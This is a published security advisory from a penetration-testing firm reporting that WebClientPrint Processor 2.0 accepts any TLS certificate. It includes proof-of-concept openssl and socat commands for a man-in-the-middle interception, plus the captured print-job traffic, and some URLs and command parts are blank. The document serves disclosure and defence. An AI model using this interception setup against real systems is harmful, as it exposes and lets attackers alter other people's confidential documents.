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Date: Tue, 22 Aug 2017 15:39:03 +0200
From: RedTeam Pentesting GmbH <>
Subject: [RT-SA-2015-011] WebClientPrint Processor 2.0: No Validation of TLS

Advisory: WebClientPrint Processor 2.0: No Validation of TLS Certificates

RedTeam Pentesting discovered that WebClientPrint Processor (WCPP) does
not validate TLS certificates when initiating HTTPS connections. Thus, a
man-in-the-middle attacker may intercept and/or modify HTTPS traffic in
transit. This may result in a disclosure of sensitive information and
the integrity of printed documents cannot be guaranteed.


Product: Neodynamic WebClientPrint Processor
Affected Versions: (Microsoft Windows)
Fixed Versions: >=
Vulnerability Type: Improper Certificate Validation
Security Risk: medium
Vendor URL:
Vendor Status: fixed version released
Advisory URL:
Advisory Status: published


Neodynamic's WebClientPrint Processor is a client-side application,
which allows server-side applications to print documents on a client's
printer without user interaction, bypassing the browser's print
functionality. The server-side application may be written in ASP.NET or
PHP while on the client-side multiple platforms and browsers are

"Send raw data, text and native commands to client printers without
showing or displaying any print dialog box!" (Neodynamic's website)

More Details

Upon installation under Microsoft Windows, WCPP registers itself as a
handler for the "webclientprint" URL scheme. Thus, any URL starting with
"webclientprint:" is handled by WCPP. For example, entering


in the URL bar of a browser opens the about box of WCPP.

Neodynamic prodvides an online demo for test printing at the following

If visited via HTTPS, the WCPP component on the client-side will try to
fetch the print job via HTTPS as well.

Proof of Concept

To simulate a man-in-the-middle scenario, an entry similar to the
following was appended to the "hosts" file:


On the host, a self-signed certificate can be generated and
afterwards socat[1] can be used to intercept and display the encrypted
HTTP traffic as follows:

$ openssl genrsa -out server.key 4096
$ openssl dhparam -out dhparam.pem 1024
$ openssl req -new -x509 -key server.key -out server.pem -days 365 \
-subj /
$ cat server.key >> server.pem
$ cat dhparam.pem >> server.pem
$ sudo socat -v openssl-listen:443,reuseaddr,verify=0,fork,\

The demo website is available via HTTPS using the following URL:

Any modern browser displays a warning due to the invalid TLS certificate
presented by socat.

On the contrary, WCPP simply accepts any certificate it is presented
with, when, for examplem printing a demo TXT file. Such a request is
given in the listing below. The output has been shortened and wrapped
manually for better readability.

GET /DemoPrintFile.ashx?clientPrint&useDefaultPrinter=undefined&
    printerName=null&filetype=TXT HTTP/1.0\r
User-Agent: WCPP/; 6.1)\r
Accept-Encoding: gzip, deflate\r
< 2015/09/07 10:29:27.478913  length=3538 from=0 to=3537
HTTP/1.1 200 OK\r
Cache-Control: private\r
Content-Length: 3180\r
Content-Type: application/octet-stream\r
Server: Microsoft-IIS/8.0\r
X-AspNet-Version: 4.0.30319\r
X-Powered-By: ASP.NET\r
Set-Cookie: ARRAffinity=23c01e1a9de38f884445e396de9940aef5941b9af3f6d9
Date: Mon, 07 Sep 2015 08:29:27 GMT\r
Connection: close\r
cpj..\v...\v..wcpPF:9c8d5316ffeb403d8be09565c2391f92.TXT|Printed By
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce urna
massa, eleifend non posuere quis, iaculis et libero. Curabitur lacinia
dolor non nisl pharetra tempus.
Etiam nisl nisi, eleifend vel molestie tincidunt, porttitor ac nunc.
Vestibulum vulputate magna gravida neque imperdiet ac viverra nulla
suscipit..Acopian Technical Company - 1 WebApp Lic - 2 WebServer

This shows that WCPP does not verify TLS certificates when establishing
HTTPS connections.


Affected users should disable the WCPP handler and upgrade to a fixed
version as soon as possible.


Install a WCPP version greater or equal to[0].

Security Risk

WCPP does not verify TLS certificates when establishing HTTPS
connections. Man-in-the-middle attackers can therefore intercept those
connections with little effort. This may lead to a disclosure of
confidential information if sensitive documents are printed via WCPP.
Furthermore, the integrity of the printed documents cannot be guaranteed
as attackers are able to modify the documents in transit.

The described attack requires a man-in-the-middle position which is a
rather strong prerequisite. It is therefore estimated that the
vulnerability poses a medium risk.


2015-08-24 Vulnerability identified
2015-09-03 Customer approved disclosure to vendor
2015-09-04 Asked vendor for security contact
2015-09-04 CVE number requested
2015-09-04 Vendor responded with security contact
2015-09-07 Vendor notified
2015-09-07 Vendor acknowledged receipt of advisory
2015-09-15 Vendor released fixed version
2015-09-16 Customer asked to wait with advisory release until all their
           clients are updated
2017-07-31 Customer approved advisory release
2017-08-22 Advisory released



RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:

RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen          
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

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